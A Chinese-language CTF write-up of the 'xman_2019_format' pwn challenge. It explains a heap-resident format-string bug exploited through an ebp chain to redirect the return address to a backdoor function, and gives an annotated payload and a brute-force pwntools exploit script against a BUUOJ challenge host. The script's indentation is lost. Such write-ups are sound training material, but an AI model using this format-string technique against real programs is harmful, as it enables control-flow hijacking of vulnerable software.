xman_2019_format
惯例先checksec一下
开启了NX保护的32位程序 放进ida里看看
存在backdoor函数
其中main函数跳转到vuln函数再不断跳转 就不把所有的都放出来了 直接取有用的部分放上来
vuln1:
vuln3
由于我们此时的字符串存放在堆上因此我们不能通过%k$n的方法根据偏移实现任意地址写
那么我们就考虑利用ebp链来讲eip中的内容篡改为我们的后门地址
第一步找到偏移偏移为10, 将0xffa44088(ebp链)改为0xffa4403c(栈上返回地址所在的位置)也就是指向eip的地址, 不过由于地址随机化,只需要改最后两位保证最后为C就好, 我这里是0x0C, 当然 1C、2C、3C…都可以 )
第二步找到偏移偏移为18,将804864b改为0x80485AB也就是我们的后门函数的地址 这样就可以成功获取到flag了。
32位的ASLR实际只将地址的倒数第二位变为了随机数因此我们可以利用爆破来获取正确的地址
payload = '%12c' + '%10$hhn|' #利用%n将0xffa44038中存放的地址0xffa44058中的内容0xffa44088的最后一位改为c即0xffa4400c(该地址中存放了返回地址)
payload += '%34219c' + '%18$hn' #利用%n将0xffa44058中的地址(由于上一次修改已被修改为了0xffa4400c)中的内容0x804864b的最后四位篡改为85ab(即0x80485AB) 这样我们就达成了将返回地址篡改为后门函数的地址的目的
exp:
from pwn import *
while 1:
#io = process("./xman_2019_format")
io = remote("node4.buuoj.cn",28254)
payload = '%12c' + '%10$hhn|' + '%34219c' + '%18$hn'
io.sendline(payload)
try:
io.interactive()
except:
io.close()